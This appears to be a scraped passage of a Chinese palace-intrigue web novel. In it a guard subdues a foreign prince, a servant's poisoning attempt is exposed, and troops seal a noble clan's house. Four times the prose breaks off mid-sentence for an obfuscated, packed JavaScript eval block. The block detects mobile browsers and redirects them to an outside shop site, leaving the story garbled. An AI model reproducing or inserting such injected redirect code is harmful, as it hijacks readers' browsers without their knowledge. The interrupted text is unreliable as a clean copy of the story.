李案眼睛一眯,四两拨千斤地将刀夺过,他用手掂了掂重量有十来斤的朴刀,像是在把玩着一个小物件,指着他笑意盈盈,高声道:“大人这话从何说起啊,小人可冤枉,这酒可是阎都里最好的酒了,就算喝不惯也不能拿小人撒气啊。” 说完,直接给他点了哑穴,堵住了他的声音,坐在床上弥且孛扎只能干瞪眼,眼里火都快要喷出来,如果不是行动不便,他早就扑上来一拳砸死这个人。 真是虎落平阳被犬欺! 李案自然明白他的想法,为了减少威胁,他的目光落在弥且孛扎的胳膊上,下一瞬,李案左手成爪,钳住他的胳膊,右手搭在他的肩上,还没等弥且孛扎反应过来,“咔”地一声,随着令人牙酸的声音发出,弥且孛扎的右胳膊被卸了下来。 弥且孛扎也是个狠人,竟硬生生地忍住了这钻心之痛,他左手死死抓住李案的手腕,身体一扭,往前扑过去,想要凭借着体型压制住李案,他拿尖利牙齿当武器,誓要将李案那张笑脸撕下。 李案背部撞在地面上,他闷哼一声,左手横刀在前,左腿屈起,一蹬踹向弥且孛扎的腹部,竟凭借着力气将弥且孛扎甩在一旁。 弥且孛扎被撞倒柜子上,柜子上的花瓶受到撞击,晃了晃掉落下来砸在他的身上,竟然没碎。 弥且孛扎顺手拿起花瓶砸向李案,李案没躲,受了这一击,“砰”地一声,花瓶应声碎掉,碎片掉在地上发出清脆声响。 李案的额头上有血流下来,他勾起嘴角,脚踩着花瓶碎片上,一步步向弥且孛扎,宛如阎罗。 弥且孛扎只能用完好的右臂勉强撑起上半身,他没想到这个少年竟那么厉害,现在想要跑已经来不及了。 李案蹲下,他幽幽笑道:“弥且孛扎你真不该伤了他。” “他”自然是顾之行。 李案一直对顾之行的手受伤这件事耿耿于怀,而要查出这件事并不难,会同馆,打架……顾之行的英勇事迹在禁卫军之间流传着,他很快就打听到了。 完全不知道他在说什么的弥且孛扎:“……” 李案自上而下地俯视着他,眼睛瞬间转狠,手握成拳,一下下往弥且孛扎的腹部击打,像是在发泄着什么。 弥且孛扎感觉好像有无数头象群在自己的肚子上踩来踩去,五脏六腑都要位移了,他想吐想叫想挣扎,但他喊不出声,也吐不出来,更逃不脱,现在真真实实地感受到了恐惧,对这个他不屑一顾的少年的恐惧…… 随后他脑袋被击打了一下,彻底晕死了。 “里面的声音怎么那么吵?!你们要对我们的王子做什么?让我们进去!” 他们拔刀就要冲进去。 “你们的王子力能扛鼎,这天底下谁能奈何得了他?” 顾之行在外面听着里面的动静,斜睨着他们,神色平静。 这…… 此话成功让想要闯入的人停止了动作,他们面面相觑有些犹豫了。 他们都知道弥且孛扎的厉害,天底下谁能真的欺负了他去?! 再者弥且孛扎察觉出不对劲后定会出声喊他们,可弥且孛扎只在一开始喊了一句……弥且孛扎最不喜别人在他玩得最开心之时打扰他,如果扰了他的兴致…… 正犹疑之际,门“吱呀”一声,开了。 李案捂着受伤流血的脑袋出来了,模样虚弱,似乎还受了别的伤。 顾之行皱眉:“怎么回事?” 李案解释道:“大人心情不好,所以撒了些气,还损坏了一些东西,不过他现在已经睡下了。” “……” 顾之行转头向外面仆从呵斥道:“愣着干什么,还不把郎中请过来给他看伤!” 仆仆立马应了一声,忙不迭跑出去找郎中。 在弥且孛扎身边伺候的人则是一脸不可思议:“……” 这个人竟然能活着从王子手下走出来?! 王子竟没杀人?!! 莫不是转性了?!!! 没谁敢问,也没谁敢去看,怕好不容易平静下来的弥且孛扎又要暴起杀人。 他们收了刀,该站守的站守,该喝酒的喝酒。 只有一个人留了个心眼,他斜眼看了看顾之行,直接进屋查看情况,确认弥且孛扎已经躺下且呼吸平稳,才出来把门关上并守在外面,不让人靠近。 做戏要做全套,李案是被人搀扶着送进客房的,没过多久老郎中就被请了进来。 李案抬头对顾之行笑道:“哥哥可以先出去一下吗?” 顾之行:“为什么?” 李案笑道:“我腹部也受伤了,但哥哥在这儿我不太好意思脱衣服……” 都是男人有什么不好意思的? 顾之行还想问为什么,可目光在触及到李案的神色时,突然转身就走。 在跨出房间,听见门被关上的声音后,顾之行才后知后觉:自己怎么就出来了? 一直保持着眼观鼻鼻观心的老郎中表示自己什么都没听见,专心为李案处理额头上的伤,而在看见李案脱下衣服露出的后背,才意识到事情的棘手性。 李案整个后背都被血染红,小心翼翼解开包扎的纱布才发现有些地方皮肉和纱布粘连在了一起,因伤口崩裂又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527732|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有及时处理,血渗透出来,看起来血肉模糊,异常恐怖。 怎么看都像是受了刑罚。 老郎中医治多年,什么大风大浪没见过,知道好奇心害死猫,所以只默默帮李案处理伤势。 处理伤口的全程李案愣是一声都没吭,只偶尔绷紧的身体泄露出他有多疼。 在伤势快处理完时,李案才开口:“老人家。” “小郎君请吩咐。” 李案掏出一锭银子放在桌上,老郎中看了一眼没拿。 “我背后的伤不希望让任何人知道。” 老郎中将银锭收进袖子里:“郎君放心,老朽是个快要入土的人了,不但耳聋眼花,记性还不好,出了这个门,什么东西就都记不清了。” 李案:“那就好。” 伤口好不容易包扎好,老郎中边收拾药箱边交代了一些注意事项和忌口,再留下几服药贴让李案待会儿去医馆抓药。 刚推门出来,迎面就碰见顾之行问他一些问题,老郎中都一一回答。 顾之行没发现什么异样,就放他走了。 顾之行回身看着趴在桌上冲他笑的李案:“……” 事情过……还没过去…… 李案这人手黑心狠,再加上巧舌如簧,能把白的说成黑的,所以接下来的日子弥且孛扎并不好过。 李案假装仆从照顾他,实则控制着弥且孛扎,几乎是他让弥且孛扎说什么就说什么,让弥且孛扎干什么就干什么。 而出于对弥且孛扎恐惧,伺候他的人竟没一个人发现弥且孛扎的异常行为。 * 陆府外,王杰通率领众人将一车一车的东西停在陆府外,这一车车东西不是珍宝,而是粮食。 王杰通自从得知陆思臣到处筹集军饷军粮,便回房里,从床底下把自己积攒的“老婆本”都拿了出来要给陆思臣,就这他还怕不够,不但变卖了自己手中的所有家田铺子,还打起了他父母兄弟的注意……不出所料,被家法伺候了。 还警告他不要和陆家走得太近。 可王杰通是谁啊,是当年敢瞒着家人千里之外一人跑去从军的汉子。 他从过几年军,知道军中生活艰难,将士困苦,他身为将士自然要为兄弟们分忧。再加上他对陆帅的崇拜,更加坚信了自己的行为是对的。 只是前几日陆思臣一直在外面奔波,两人时至今还没见上一面。今日他带了顾之行,本想着碰碰运气,没想到陆思臣竟然在家,才有了上面一幕。 陆思臣知道王杰通是四大家族之一濮阳王氏的嫡次子,但不知他从过军,还在他手中的魏西军待过几年,见王杰通如此殷勤,不免有些警惕:“多谢王统领的好意,只是陆某已经有筹备军饷军粮的法子,就不劳王统领费心了。” 王杰通被拒也没有恼怒,反而抱拳:“陆……将军,我知道我的这点东西你看不起,但这是我的一片心意,所以还请陆将军不要拒绝。” “……” 陆思臣看了一眼顾之行,见顾点头才道:“既然如此,那在下就替番西之地的兄弟们谢谢王统领了。” 40. 赌徒 “陆将军客气了。” 王杰通被说得有些不好意思了,摆着手就要走:“那啥……既然东西已经送到了,那我们……” “不如进府一叙?” 陆思臣侧身,摆出“请”的姿势。 王杰通本就有心想要结交陆思臣,闻言哪里不肯的,笑道:“那我们就恭敬不如从命了。” 三人一同进府,陆府只是陆思臣在阎都暂时落脚休息的地方,所以什么东西都没去置办,更并没怎么修缮。虽有看守的仆从定期洒扫,但看着还是有些冷清,还有股肃杀之气。 从小就生活在军营里的陆思臣,一进府,就把庭院变成了练兵场,每走几步不但能看见士兵,甚至还有一小队士兵在府中巡逻,每遇见一次陆思臣,将士们必高声道:“将军好!” 气势如虹,训练有素。 惹得王杰通差点以为自己真的身处军营了。 好不容易坐下,仆从端上来的羊奶酒,一口更是直接让他梦回金戈铁马,枕戈待旦的从军生活。 顾之行喝下一口则是眉头一皱,香甜的羊奶将烈酒的辛辣冲散不少,可更复杂的腥膻味又在他嘴里蔓延。 这么多年过去了,他依旧喝不习惯,只默默将碗放下,不愿再碰。 陆思臣见状笑道:“你还是和小时候一样,不喜欢喝这奶酒,好像是嫌弃它太腥?” 把顾之行之前告诫的话完全抛之脑后。 王杰通则震惊于陆思臣的话:“你们两个认识?” 顾之行:“……就认识的关系。” 王杰通没注意顾之行脸色已冷,还在震惊。 就认识的关系?! 可他在军中几年了都没机会和陆将军说上几句话! 所以顾之行在担任中郎将之前究竟是什么来头? “那你们是怎么认识的?话说怎么也没见你提起过这事?” 王杰通想起之前自己在酒楼大言不惭吹嘘的话,不禁一阵心虚,只期望顾之行没有识破他添油加醋说的一番鬼话。 仆从给顾之行重新换了碗酒,顾之行喝了一口觉得还行,遂将酒一口喝下,侧目:“话说你和陆将军的渊源也不比我浅。” 顾之行显然不想让任何人知道他的往事,不管出于何种原因。 陆思臣瞧了一眼顾之行,终究是顺着他的话道:“我自小就一直在番西生活,除了这次述职回京从未离开过番西,不知和王统领有什么渊源?” 顾之行秉持着死道友不死贫道的原则,将王杰通干的事都抖搂了出来:“他在你们军中当过士兵,不过那时候他应该隐姓埋名了所以你注意不到他。” “竟然还有此事?” 陆思臣疑惑:“只是你为何会选择隐姓埋名?” 王杰通果然被带偏了,笑道:“说来惭愧,当年是年少不懂事,血气方刚,总觉得可以不靠家族自己闯出名堂来,所以才偷偷从的军,惹得家中时常担忧……不过圣恩浩荡,虽然没立下什么功劳,可也给了一个禁军统领的职位。” 没什么功绩就给了正三品的官。 在这个士族垄断,出身决定命运的世道上,此间事何止王杰通一个。 大家早已习以为常,可陆思臣却听得刺耳,他想起了父亲…… “看来王统领定是有过人的本领,所以圣上才会如此看重。” 或许是两人都是凭借着真才实学才得到如今地位,王杰通难得谦虚:“哎,习过几年武罢了,不值一提。但说起这个顾中郎将的武学在我之上,可惜我没什么武学天赋,在他手中也只能过上百招。” “顾中郎将很厉害,所以圣上对他很是看重。” 顾之行没什么表情:“王统领过誉了。” “哪有。” 说起这事,王杰通突然想起了什么:“话说有一个小子说是很崇拜你,想让我把他调到你手下做事,你觉得怎么样?” 顾之行蹙眉:“我既无家世背景,也无甚大权势。何人这么奇特想在我手下干活,还专门找上你?” “这小子是户部塞到我这儿的,我先前也不认识,不过你也知道禁军分两种,南衙禁军十六卫与北衙禁军六卫,一共有七八万人,我哪能个个都认识啊。只听说那小子之前是金吾卫,大概是想得圣上青睐,步步升高,而你这千牛卫能经常见到圣颜,所以才找上我,想让我和跟你说说情。” 顾之行垂眸,把玩着酒杯:“原来如此。” 这么说就通了,可应该不仅如此。户部尚书周稠锦是典型的崔氏门生,与崔氏是一根绳子上的蚂蚱,这时塞人过来,又是何居心? 况且如今皇权已有式微的迹象,圣上身体并不好,不知何时会驾鹤西去。朝堂之上大半的朝臣都以崔氏为首,他不去巴结崔氏,反而亲近皇权……他想起李案先前说的话。 王杰通这是给人当了靶子还不知道,圣上已经布好局请君入瓮,只待鱼落网,到时收网顺着这条线索追查下去,第一个追究的就是他。濮阳王氏,清河崔氏,同时得罪两大士族,如今储君之为高悬,皇权动荡,就算是圣上也不敢轻易动手。 崔氏这招棋走得妙,他们知道圣上正在找机会寻他们的错处,所以走得极为谨慎,将自己这边的筹码加到最大化。 顾之行眯眼,不亏是四世三公还真是一个好的赌徒,赌赢了,圣上从此不敢再对崔氏动心思;赌输了,前面有濮阳王氏挡着。 可圣上定然不甘心,到时候王杰通这个“出头鸟”的职位能不能保得住都要另说。 “那你这是同意还是不同意?” 王杰通还在等顾之行答复。 顾之行微微侧首:“王统领,那人给了你什么好处,让你心甘情愿到我这儿当说客?” 王杰通没懂顾之行为何突然这么问,想都没想道:“没什么好处啊,大家都是兄弟嘛?左右能帮就帮,再者周家与我家也有走动……” 明明是士族子弟,却自带一身侠气。 被人当枪使都不知道。 可若告诉他,以他性格肯定坐不住,会打草惊蛇。 顾之行:“下次交友看着点。” “哈?” 王杰通被顾之行模糊不清的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535849|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态度弄得二丈和尚摸不着头脑,半天才小心翼翼道:“那你这是同意了?” 顾之行点头:“嗯。” 王杰通高兴了,原本坐直的身子向顾之行这边倾斜:“我当初说的时候,他们还说你这样难办的性子,肯定不会同意。我一听也是,所以原本也没抱多大希望……当然我肯定高兴你同意了,说明你拿我当兄弟。” 说着生怕顾之行反悔,还不忘补一句:“那就那么说定了,到时候我请你吃饭!” 顾之行:“……” 算了,各人有各人福,王杰通身后有濮阳王氏在,他瞎操心什么。 王杰通不知朝堂争斗,陆思臣却从顾之行的态度品出点不一样的东西,晚间留两人在府中吃完饭,两人在院中散步。 陆思臣提及此事:“没看出来王统领看着粗犷,但性格到是纯良,乐于助人。” 顾之行:“因为他被他的家族保护的太好。” “我不知你们要如何对付崔氏,以及崔氏的计划,不过王统领这样的人应该很容易被他人利用,真的不提醒一下他吗?我看你们相处得很好。” “……” 顾之行看向另一边的练兵场,王杰通不知怎么就勾搭上了罗志,两人吃完饭一拍即合就要去练兵场过过招,现在正打得火热,台下还有人为他们旗鼓呐喊。 “不了,以他的脑子就算提醒了也不会改变什么。” 陆思臣:“……” 王杰通办事迅速,第二日,人就送到了会同馆,顾之行也没瞧这人,只让手底下的人给他随意安排些差事。 果然天刚暗下来,就有人来报:“老大,那个人已经搭上了弥且沣。” 能在顾之行手里做事的都是训练营里出来的,他将手中书放下,沉思片刻:“速度挺快,目标还很明确,他们是有备而来,先继续盯着,不要打草惊蛇。” “是。” 那人消失在暗处。 * 接下来的日子如流水般走过,没起什么波澜。 庭院内,顾之行正在看截获的信件,有一人悄无声息地进入顾之行的房间,顾之行头都没抬:“如何?” 魏志现身在灯光处,垂头丧气地站在旁边:“老大对不起,我们按照你吩咐去调查,这李案这人过于狡猾谨慎,我们追踪他多日一点把柄都没有抓到,也没见他和什么人接触过,除了老大你。” 说到这,魏志挺想问,李案那小子是不是对老大你图谋不轨啊。不然怎么一见老大就跟狗见了肉似的,撒着欢就贴上来了,怎么都赶不走。但他不敢,只好继续道:“还有大皇子的寝殿有一个不知什么来头的老人一直守在那里,那个老人武功很高,也很警惕,为了不被发现我们只能远远地监视大皇子。那个大皇子深居简出的,只偶尔在天气好时会在外面呆一会儿,其余时间都在殿内……我们还要继续盯着吗?” 烛火在墙上投出一片阴影,那影子随着顾之行的动作而动,在听到李泽桉时影子的动作明显顿住了,他道:“……知道了,继续盯着。” “知道了,老大。” 41. 怂恿 顾之行将信封收进一个古朴的小箱子,双方通信日久,该有动作了。 果不其然,没过多久弥且沣找上门了,他拦住在廊下照常巡逻的顾之行:“我想面见你们大梁的皇帝。” 顾之行停下脚步:“敢问面见圣上的理由是什么?” “这你不用知道,只要告诉皇帝羌部的王子想要见他。” 顾之行提醒:“圣上日理万机,若没有明确的理由怕是不会见你。” 弥且沣盯着顾之行似乎在判断他有没有说谎,可顾之行神色始终冷淡,看不出什么,便思索了一下道:“既然这样,你告诉你们的皇帝我知道他想要什么,而我可以给。” 顾之行:“我会转告。” 个屁。 他知道收网的时候要到了。 这几日的弥且沣与崔氏的通信内容他早已复制出一份,而这通信内容是真是假,内容又是什么,皆由圣意。 他们不是在收集证据,而是制造圣上能正大光明对崔氏发难的理由。 * 今日注定不平静,一名仆从端着空酒壶正一瘸一拐地绕过廊亭,没出庭院就有一人将他喊住,那人挎着刀,身披甲胄,见状挑眉道:“小子,你这是又被打了?这次是打腿?” 弥且孛扎虽答应不杀人,可并没有答应不伤人,李案也不是时时刻刻待在他身边,所以他脾气一上来就会有人头破血流,断腿断胳膊的。 仆从听到这话下意识拉了拉衣袖下青紫的伤口,垂着脑袋,显得很可怜,嗫喏道:“嗯,大人今日心情不好所以拿我撒气。” “所以要我说这些野蛮子都是没人性的混账东西,不敢欺负手握权势的大人物,就会拿我们这些小人物开刷!” 那人显然与仆从相熟,竖眉怒目就开始为他打抱不平,骂骂咧咧,说着话音一转,将他拉到一个没人的角落,略带神秘地小声道:“哎,小子,你想报仇吗?” 仆从像是听到什么大逆不道的话似的,倒退一步,后仰着脑袋,满脸写着惊慌,拼命摇头来证明自己:“不不不,怎么会,我没有那个想法……” 怂货。 那人冷哼出声,但面上依然笑道:“别担心,我这也是为你打抱不平啊。反正他打的是你又不是我,难道你不怕万一有一天那个人脾气一上来把你打死?” 仆从大概是被打怕了,下意识瑟缩了一下,没说话。 那人瞅着他的神色,装模作样地叹道:“不过你也是够倒霉的,怎么就抽到伺候那个人呢,有了这样遭遇就算了,还没有人同情,说不得后面会像前些日子那个人一样被割去耳朵,甚至是鼻子,啧啧啧……” 这声“啧”不知是惋惜的多,还是看戏的多。 仆从胆子本来就小,此刻身体已经有些颤抖:“……” 是啊,怎么就是他摊上这倒霉事?!明明当初抽签并没有抽到他……是那些人将他的签子抢走的…… 那人见他不说话,还以为已经说服他了,干脆再加把火,从怀中掏出一小包东西:“这可是个好东西,无色无味,入水即化,你把这包东西惨进他的饭菜里,他就再也看不到明天的太阳了。” 没想到仆从连连摇头拒绝:“不不不,我,我做不到……” 他虽然心有怨恨,但还是拎得清厉害关系,不下药他还有活路可走,如果下了药被人查出来,那他就再无活路了。 麻烦。 那人不耐烦地“啧”了一声,推了他一把:“哎哎哎,我这也是像为你出一口气才冒险帮你的,你知道这药多难搞吗?你别不识好人心。” “我,不是……我……” 仆从不想留下了,想走,但被拦下来了,瘦弱的他只能道歉:“对不起对不起……” 那人摆手:“算了算了,你不要下太多……每天下一点就行,不会死人,但也会让他受罪,说不定他就没力气再去打骂你了怎么样?” 最后那句话像道惊雷在他脑海中炸开,仆从猛地抬头看他,正犹疑之际,那人一股脑把药塞进他手心里:“就这样说定了,记得一日三次,一定要下。我还有事就先走了。” 说完他四下看了看,见没人发现就匆匆走了。 场景和当初不由分说把短签从他手中抢走,又把长签塞进他怀里一模一样。 可又不一样,这人是来“帮”自己的,对吧? 仆从感觉自己身体在颤抖,手心里直冒汗,一股被那人点燃的怒火在心里燃烧。 反正不会死人,要试试吗? 可如果死了人怎么办? 可自己真的要天天忍受这种迫害吗? 他想起自己被迫赶去收尸时看到的那人的脸,满脸惊恐,不甘。 乱葬岗,无人认领的尸体在发臭腐烂,蚊虫嘤咛,荒草不生,泥泞之路上血到处流,一路蜿蜒至他鞋底…… * 屋内李案正和弥且孛扎大眼瞪小眼,被李案收拾了一通后,弥且孛扎就不太敢在李案面前撒野,明明是异邦王子却如此憋屈,其实是有原因。 一,弥且孛扎源于自身的自尊心,不想让任何人知道自己被威胁了;二,李案说在他身上下了药,如果弥且孛扎对他发难,那他也会立马暴毙身亡。 李案说这话是笑着的,声音极轻却不容质疑,弥且孛扎不敢赌这话是真是假。 李案站姿懒散,双臂环抱,双腿交叠倚靠在墙壁上,单薄的眼皮淡淡掀起,看过来时像被蛇盯上似的,后脊背猛地窜出一阵冷意。 他依然是破布烂衫,不起眼的面容下周身却有种不容忽视的压迫感。 李案似乎是站累了,想换个姿势,刚动,在床上坐着弥且孛扎立马就警惕起来,浑像只竖起全身倒刺的刺猬,也不怪弥且孛扎如此紧张。这人手黑心狠,又巧舌如簧,擅长把黑的说成白的。 刚开始他还不服,想着区区一个禁军竟敢卸他的胳膊,他定要将他剥皮抽筋,可再几次三番着了李案的道后就对他无比谨慎。 所以说宁愿得罪君子,也不要得罪小人,因为你不知道他何时会咬你一口;而李案是小人中的小人,他不仅会冷不盯地咬你一口,而且还,是死不松口的那种。 李案见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541548|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弥且孛扎如此紧张,笑了,森白牙齿露出:“大人怕什么,我又不会吃了你。” “老子紧张个屁!谁说老子紧张了?!” 弥且孛扎看见李案就不得安生,骂道:“妈的,老子不想看见你,赶紧给老子滚出去,有多远滚多远!” “小人也是职责所在,恐怕如不了大人的愿。” 李案将椅子调转方向,椅腿摩擦地板发出刺耳的声音,他跨坐在椅子上,右臂随意地搭在椅背,左手撑着下巴笑道:“既然大人不喜欢看我,那转过去不就行了?” “……” 转过去?对着墙? 那不等同于面壁,思过?! 这简直就是赤裸裸地挑衅,偏偏又奈何不了他,弥且孛扎磨牙,只能恨恨地看着他。 别让他逮到机会,否则他定要李案生不如死! 两人气氛正剑拔弩张之时,“吱呀”一声,那名仆从小心地推开门进来,打破了僵持的氛围,他依旧垂着脑袋:“午饭时间到了,小人给大人送餐。” 李案随意看了他一眼:“哦。” 仆从一瘸一拐地走过来,不知是腿疼还是害怕,他额头上冒出了丝丝冷汗,手也抖,抖得很细微,几乎看不出来。 李案却一直盯着他,弥且孛扎膝盖骨的伤还没好,仆从只能把床尾的小桌子支起来放在他床上,他将饭菜布置好,刚要走。 李案出声:“等等。” 仆从身的体僵直起来,但很快转身:“大人请吩咐。” “不试毒吗?” 仆从猛地抬首:“什,什么?” 李案瞎编:“你不知道吗?从今天开始这位大人的饭菜都要有人试毒才可以吃。” “小人,不知……” 仆从看了一眼饭菜,重新乖顺起来,拿起多余的一双筷子夹起来放进嘴里。 弥且孛扎不解,竖眉:“喂,你这话是什么意思?难不成有什么人要害老子?!” 李案没理他,专心看这仆从的反应,没有反应。 他喃喃自语:“是毒放少了吗?” 弥且孛扎:“什么?!” 仆从“噗通”一声就跪下来了,抬头是一张极清秀的脸,他喊道:“大人,为何要冤枉小人?!” 李案笑了,看他的眼神如看死物,带着冷意:“我说你下毒了吗?” “我,我……” 仆从一看暴露,身体又开始抖,想求饶喉咙里却像是被堵住了似的,开不了口。脑海里只有两个字,完了…… 他性格软弱,虽是男身却爱好女工,连说话都轻声细语,再加上女相,所以没少被旁人欺负,因此性格更加腼腆害羞,他这次下毒是花了很大勇气的,如今被人当场抓获,已是面如死灰。 弥且孛扎一看连这种东西都敢对自己下毒,大怒,当即就要拧断这人脖子。被李案阻挡住了,他道:“你不想知道谁想害你的吗?” 弥且孛扎脑子是一根筋通到底,不懂得什么弯弯绕绕,闻言道:“你这话是什么意思?难道不是这畜生怀恨在心想要加害于我?!” 42. 通敌 愚蠢但还有点自知之明,知道自己在这里得罪了不少人。 也不知是不是该夸一句“干得好”,毕竟人家愣是凭借着一己之力让害他的人范围扩大至整个会同馆,任何人都有可能在任何时间动手。 而李案刚刚只是见这仆从过于紧张,才出口试探,没想到这仆从心理素质太差,一下子就试出来了。 李案逼视他:“何人指使你的?” 仆从咬牙:“……” “不说,那只能把你交由衙役送进地牢,你应该也知道那些酷吏手段吧?进去后不管你有没有罪都先吊起来打一顿再说,那些人让人招供的手段多如毫毛,就算你是铁打的汉子进去都得脱一层皮去。” 李案蹲下身,与他平视,笑得无害,可一字一句都让人不寒而栗:“然后再问审,问来问去不过是让你认罪,让你在纸上签字画押。到时不管上面写了什么,你都得认!毒害外番使臣可不是什么小事,你确定你能承受?就算你能认了,那你那无辜的家人呢?他们能承受得了吗?!” 仆从的身子从李案说出那些话开始就抖如糠筛,他眼含泪水,几乎要哭了。 他现在才知道自己干的事有多荒唐。 他膝行几步,用颤抖的手去抓李案的衣角,头抵在地上,几近卑微地乞求:“我,我说……都是我一个人干的,是我一干的,我的家人他们不知情,他们都是无辜的,求你饶了他们吧?!” 这样的美人哭得梨花带雨,还这样向你求情,是个人都得心软,可李案偏偏是个铁石心肠的。 “错了。” 李案站起身,后退一步将自己的衣角从他手中拽出,毫不留情:“看来还是要去牢狱走一趟。” “史尧!是史尧!是他指使我干的!!” 仆从一看李案要喊人,连忙喊住。 “这才对。” 李案笑道:“如实说。” 仆从无比惶恐地看向弥且孛扎,见弥且孛扎没什么表示,才将事实从头到尾说出来。 弥且孛扎这人自小就被宠坏了,遇到丁点不顺他心意的事只会发疯,向外索求。在他看来这名仆从是生是死,心底如何煎熬,都不值得他瞧上一眼。 不过是低贱的尘,鞋底的灰,拂了便拂了。 自然而然对仆从的诉苦不会放在心上,直到李案一句:“我知道了,你暂时先如常行动,不要露出破绽,也不要耍手段,我会保证这个人不会再伤害你。” 仆从原本就不想毒害他人,再加上李案的身份看起来似乎并不简单,说不定真的能帮他,他哪里还有不答应的,连连磕头谢恩。 又爬起身,小跑出去,生怕慢了一步李案就反悔了似的。 弥且孛扎怒目圆睁,几乎要暴起:“你TM疯了?他可是毒害我的人?!这种人还留着做什么?!要我说就应该先杀了他,再杀了他的家人!把他们的尸体吊挂在门前三天三夜,让那群狗东西瞧瞧,这就是害我的下场!!” 李案并没有被弥且孛扎恶劣的态度影响,只是慢条斯理地分析:“威慑他人自然可以,但只能管得了一时,然后呢?潜在的威胁并不会因为这一时的威慑而消失,说不定还会越演越烈,到时候吊挂在门前的或许就是你了。” “你……” 弥且孛扎被堵得说不出话来。 李案笑道:“所以斩草除根是最好的。” 弥且孛扎目视着他,心中某种怪异感越发明显。真不知是什么样的环境才能训练出这种手段狠辣,心思缜密的怪物。 这般想着,他突然哈哈大笑起来:“你们大梁人常说我们是不懂礼数的蛮夷,血腥暴戾,动不动就杀人。我还以为大梁人都是些像陆思臣那样正直无私,顾及一些所谓的家国大义和自身名节的愣头青。没想到还有人有如此厉害又残忍的手段,真是让老子刮目相看。” 这话阴阳怪气的,无非在暗讽李案不如表面看上去那么单纯。 李案弹了弹衣角,不在意地笑道:“大人说笑了。” * 明月照松林,劲风掀过林梢,林浪一阵阵翻涌发出哗哗作响的声音,这是暴雨来临的迹象。 崔府,一队队训练有素的魏西军左右包抄模式将其围拢起来,确保没有一人能出去。 整个崔府灯火通明,亮如白昼,崔霄在众家眷的簇拥下铁青着脸打开大门。 刚要踏出府,脚还没落地就被逼了回去,他们横刀档在崔霄眼前,往前一跨,面色冷漠:“圣上有令,崔府里的任何人今夜都不得出入,违令者斩!” 崔霄瞪视着他们,先发制人:“你们好大的胆子竟敢假传圣旨!你们知道我是谁吗?我是正三品的侍中,父亲是正一品的太尉,我们家四世三公,连圣上都要给崔氏几分薄面,你们算什么东西竟敢拦着我的路,给我让开,耽误了我的事,你们有几个脑袋都不够砍的!” 说着就要硬闯出去,魏西军不是那些中看不中用的禁卫军,他们只听令于军令,除此之外谁都不认,见崔霄敢硬闯,当即抽刀。 “等等,这是崔侍中,你们不可造次。” 罗志从上前阻止他们的动作,转而向崔霄道:“崔侍中勿急,这实在是圣上有令,我们不得不从啊。” 崔霄:“那圣旨何在!” “口谕,没有圣旨。” 罗志神情难得正经:“陆氏与崔氏无仇无怨,若无意外不会为难府中家眷的,不过为避免意外,崔侍中还是在府中待着为好。” 崔霄:“……” 府门又被合上,这次是从外面锁上的,家中人都是锦衣玉食的尊贵之人,平生遇到的最大烦恼就是今晚吃什么。哪里见过这种阵仗,不少人都被吓到了,尤其是孩子,时不时还隐隐有压抑的哭泣声,是颓势之兆。 崔霄心里本就烦闷,当即大声呵斥:“晦气的东西,哭什么哭?崔氏还没倒呢?!若再让我听到你们谁发出哭声,不用外面那群军爷进来,我亲自斩杀!” 这话果然管用,顿时无人敢哭,只有一身着华服,面容华贵的中年妇人走上来,担忧道:“夫君,父亲自从傍晚被召进宫,到现在已有两三个时辰了,现如今还没回来,妾担心恐会生变啊。” 崔霄:“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555445|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他又何尝不担心,可现在他出不去,不知道具体情况如何,只希望父亲真的能挺过今晚。 到了明天一早,周稠锦他们定会察出异常,一切就都好办了…… * 皇宫,殿内,香炉生紫烟,袅袅不绝,却依然抵挡不住那浓厚的药草味。 崔文豪跪在地上已有多时,他已是耄耋之年,膝盖实在撑不住,可李暨没有喊他起身,便只能硬挺着。 顾之行亦跪在其右。 李暨垂眸端坐在上位,好似老僧入定般一动不动,乍一看还以为他睡着了。 